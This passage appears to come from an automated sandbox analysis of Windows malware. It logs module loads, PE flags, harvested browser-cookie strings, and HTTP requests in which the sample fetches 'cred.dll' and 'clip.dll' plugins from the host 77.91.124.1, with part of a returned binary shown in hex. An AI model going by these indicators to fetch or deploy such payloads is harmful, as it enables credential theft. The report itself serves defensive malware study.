"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\VCRUNTIME140_CLR0400.dll" - [base:0; Status:c0000135] "5Ll6yV5.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "schtasks.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "schtasks.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "cmd.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "cmd.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "cacls.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "cacls.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "rundll32.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "rundll32.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135]41:T755,"922d837e2362b26f6f5959eb3dee8ac0.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "OT6Dd58.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "4na449fr.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "pt9KK68.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "3Hf64Pr.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "Vd6Yw65.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "vQ1qt36.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "1FX99DP0.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA "5Ll6yV5.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "2Td9134.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "clip_1_.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT42:T9ae,Found string "https://www.youtube.com/" (Indicator: "youtube"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found string "https://www.facebook.com/login" (Indicator: "facebook.com"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found string "@shift /0start "" https://www.facebook.com/loginstart "" https://www.youtube.comstart "" https://accounts.google.com" (Indicator: "facebook.com"; File: "1066.bat") file/memory contains long string with (Indicator: "youtube"; File: "Z79MB54O.txt") file/memory contains long string with (Indicator: "youtube"; File: "css_1_.css") file/memory contains long string with (Indicator: "facebook.com"; File: "UD150W7F.txt") Found string "VISITOR_INFO1_LIVE7hUZhq3hmEQyoutube.com/9217217201702431101456394139700131065251CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/92171493235231068063364386500231065251" (Indicator: "youtube"; File: "E21EHEI1.txt") Found string "07i4FJZPokWKsVJCI..BlNKJX.1k.AAA.0.0.BlNKJX.AWXGVGFgxLIfacebook.com/9217247491110431083351264296869031065245V6I0ZVWMWbeykOsycg0odwiXfacebook.com/9217401936524831145712174369268531065245" (Indicator: "facebook.com"; File: "V4VSN4OT.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/92171493235231068063364386500231065251" (Indicator: "youtube"; File: "EP6MPBDR.txt") Found string "CheckConnectionTempCookie627382043accounts.youtube.com/accounts/21474847522315988483106536213265207931065362" (Indicator: "youtube"; File: "77MG305H.txt") Found string "CheckConnectionTempCookie69220259accounts.youtube.com/accounts/21474847523183938563106526422279599731065264" (Indicator: "youtube"; File: "M56SIDHG.txt") Found string "V6I0ZVWMWbeykOsycg0odwiXfacebook.com/9217401936524831145712174369268531065245" (Indicator: "facebook.com"; File: "NN6NGMCI.txt") Found string "accounts.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "www.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US" (Indicator: "facebook.com"; File: "SSL") file/memory contains long string with (Indicator: "facebook.com"; File: "SSL")43:T1984,"GET /theme/Plugins/cred.dll HTTP/1.1 Host: 77.91.124.1" Response ==> HTTP/1.1 404 Not Found Date: Sun 22 Oct 2023 04:17:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 273 Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /theme/Plugins/clip.dll HTTP/1.1 Host: 77.91.124.1" Response ==> HTTP/1.1 200 OK Date: Sun 22 Oct 2023 04:17:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Sat 30 Sep 2023 10:50:50 GMT ETag: "16400-60691507c4d20" Accept-Ranges: bytes Content-Length: 91136 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 22 Oct 2023 03:26:00 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3094 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA2160414D49BADF2AB3CB9FF1A3E0C506DCF192780868DAA180F32....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 22 Oct 2023 03:26:00 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3095 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA2160414D49BADF2AB3CB9FF1A3E0C506DCF192780868DAA180F32....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 22 Oct 2023 03:25:06 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3149 with response body ==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDHFurBkDkysBLRERRg7lfk HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 22 Oct 2023 04:01:36 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 960 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 22 Oct 2023 03:25:06 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3151 with response body ==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQClpMx3iVrg2hCmDSGXhsge HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 22 Oct 2023 03:33:38 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2640 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEEVPiCzvQdHKEiO6fm6h1os%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 22 Oct 2023 03:57:08 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1231 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEEVPiCzvQdHKEiO6fm6h1os%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 22 Oct 2023 03:57:08 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1232 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDznawigtEEIxJzi7y6NmOs HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sun 22 Oct 2023 04:01:41 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 961 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32.......44:T4c94,"922d837e2362b26f6f5959eb3dee8ac0.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71480000 "922d837e2362b26f6f5959eb3dee8ac0.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "922d837e2362b26f6f5959eb3dee8ac0.exe" loaded module "KERNEL32" at base 77480000 "922d837e2362b26f6f5959eb3dee8ac0.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "922d837e2362b26f6f5959eb3dee8ac0.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6b550000 "922d837e2362b26f6f5959eb3dee8ac0.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6be90000 "922d837e2362b26f6f5959eb3dee8ac0.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75870000 "OT6Dd58.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71480000 "OT6Dd58.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "OT6Dd58.exe" loaded module "KERNEL32" at base 77480000 "OT6Dd58.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "OT6Dd58.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6a6e0000 "OT6Dd58.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75870000 "pt9KK68.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71480000 "pt9KK68.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "pt9KK68.exe" loaded module "KERNEL32" at base 77480000 "pt9KK68.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "pt9KK68.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6be90000 "pt9KK68.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75870000 "Vd6Yw65.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71480000 "Vd6Yw65.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "Vd6Yw65.exe" loaded module "KERNEL32" at base 77480000 "Vd6Yw65.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "Vd6Yw65.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6a6e0000 "Vd6Yw65.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75870000 "vQ1qt36.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6a6b0000 "vQ1qt36.exe" loaded module "ADVAPI32.DLL" at base 77760000 "vQ1qt36.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 746a0000 "vQ1qt36.exe" loaded module "DWMAPI.DLL" at base 74220000 "vQ1qt36.exe" loaded module "COMCTL32.DLL" at base 74870000 "vQ1qt36.exe" loaded module "UXTHEME.DLL" at base 746a0000 "vQ1qt36.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 77810000 "vQ1qt36.exe" loaded module "CRYPTBASE.DLL" at base 758c0000 "vQ1qt36.exe" loaded module "CLBCATQ.DLL" at base 75e20000 "vQ1qt36.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 76630000 "vQ1qt36.exe" loaded module "OLEAUT32.DLL" at base 75d80000 "3Hf64Pr.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71480000 "3Hf64Pr.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "3Hf64Pr.exe" loaded module "KERNEL32" at base 77480000 "3Hf64Pr.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "3Hf64Pr.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 75a10000 "3Hf64Pr.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 75a10000 "3Hf64Pr.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 0 "3Hf64Pr.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 0 "3Hf64Pr.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75870000 "3Hf64Pr.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 0 "4na449fr.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75870000 "4na449fr.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 0 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71480000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "AppLaunch.exe" loaded module "KERNEL32" at base 77480000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "AppLaunch.exe" loaded module "USER32.DLL" at base 76760000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 0 "AppLaunch.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "AppLaunch.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "AppLaunch.exe" loaded module "MSCOREE.DLL" at base 727e0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 0 "AppLaunch.exe" loaded module "PSAPI.DLL" at base 77c40000 "AppLaunch.exe" loaded module "KERNEL32.DLL" at base 77480000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 63ff0000 "AppLaunch.exe" loaded module "RPCRT4.DLL" at base 77c60000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "AppLaunch.exe" loaded module "OLE32.DLL" at base 77810000 "AppLaunch.exe" loaded module "CRYPTBASE.DLL" at base 758c0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 746a0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 72fd0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 6a680000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 63590000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 633e0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 62570000 "AppLaunch.exe" loaded module "ADVAPI32.DLL" at base 77760000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.WINDOWS.FORMS\V4.0_4.0.0.0__B77A5C561934E089\UXTHEME.DLL" at base 0 "AppLaunch.exe" loaded module "UXTHEME.DLL" at base 746a0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 61d50000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 6a570000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 615d0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6d530000 "AppLaunch.exe" loaded module "NTDLL.DLL" at base 77ac0000 "AppLaunch.exe" loaded module "SHELL32.DLL" at base 76830000 "AppLaunch.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 76240000 "AppLaunch.exe" loaded module "PROFAPI.DLL" at base 759e0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "AppLaunch.exe" loaded module "BCRYPT.DLL" at base 754e0000 "AppLaunch.exe" loaded module "CRYPTSP.DLL" at base 753d0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 75160000 "AppLaunch.exe" loaded module "IMM32.DLL" at base 77c20000 "AppLaunch.exe" loaded module "COMCTL32.DLL" at base 72220000 "AppLaunch.exe" loaded module "GDI32.DLL" at base 75eb0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\WINDOWSBASE\1A4CC316FB6D09525321FC0BE44692D8\WINDOWSBASE.NI.DLL" at base 611b0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIONCORE\468F4E17BE144CA12A73A4297EACC9CC\PRESENTATIONCORE.NI.DLL" at base 60570000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIO5AE0F00F#\252CC7B0FAE8CFE083BDC149957C0C54\PRESENTATIONFRAMEWORK.NI.DLL" at base 5f180000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\UCRTBASE_CLR0400.DLL" at base 0 "AppLaunch.exe" loaded module "UCRTBASE_CLR0400.DLL" at base 6b6b0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "AppLaunch.exe" loaded module "SHLWAPI.DLL" at base 77560000 "AppLaunch.exe" loaded module "DWRITE.DLL" at base 691e0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 75a10000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\PRESENTATIONNATIVE_V0400.DLL" at base 65ee0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "AppLaunch.exe" loaded module "VERSION.DLL" at base 74e60000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.RUNTEB92AA12#\274E43040C8A7A02EF1065DB3283005A\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL" at base 5ed10000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SMDIAGNOSTICS\DC67DCB4B2FB4A3853D458CAB08561F0\SMDIAGNOSTICS.NI.DLL" at base 6be80000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.TRANSACTIONS\3D760B4A3260A41EF84A3FD866780980\SYSTEM.TRANSACTIONS.NI.DLL" at base 5e2f0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "AppLaunch.exe" loaded module "WS2_32.DLL" at base 75fb0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 75390000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74ef0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 75380000 "AppLaunch.exe" loaded module "SSPICLI.DLL" at base 75850000 "AppLaunch.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 76240000 "AppLaunch.exe" loaded module "CLBCATQ.DLL" at base 75e20000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\\WMINET_UTILS.DLL" at base 5c940000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6d870000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6e7d0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "AppLaunch.exe" loaded module "OLEAUT32.DLL" at base 75d80000 "AppLaunch.exe" loaded module 